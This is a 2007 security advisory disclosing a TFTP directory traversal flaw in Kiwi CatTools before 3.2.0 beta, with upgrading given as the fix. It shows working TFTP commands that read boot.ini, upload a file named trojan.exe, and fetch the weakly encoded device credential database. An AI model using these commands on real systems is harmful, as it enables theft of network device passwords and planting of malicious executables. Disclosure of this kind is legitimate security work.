TFTP directory traversal in Kiwi CatTools Application : Kiwi CatTools prior to 3.2.0 beta Release Date : 8 February 2007 Author : Nicob <nicob at nicob.net> Product : ========= http://www.kiwisyslog.com/cattools-info.php : "Kiwi CatTools is a freeware application that provides automated device configuration management on routers, switches and firewalls." A built-in TFTP server exists and a "encrypted device database" contains IP addresses, logins and passwords for each configured device. Vunerability : ============== TFTP directory traversal : tftp -i 10.11.12.13 GET a//..//..//..//..//..//boot.ini tftp -i 10.11.12.13 PUT foo.exe a//..//trojan.exe Note : the device database is only protected by a reversible encoding and can be remotely accessed with "GET a//..//..//kiwidb-cattools.kdb". Solution : ========== Upgrade to version 3.2.0 beta or newer. Nicob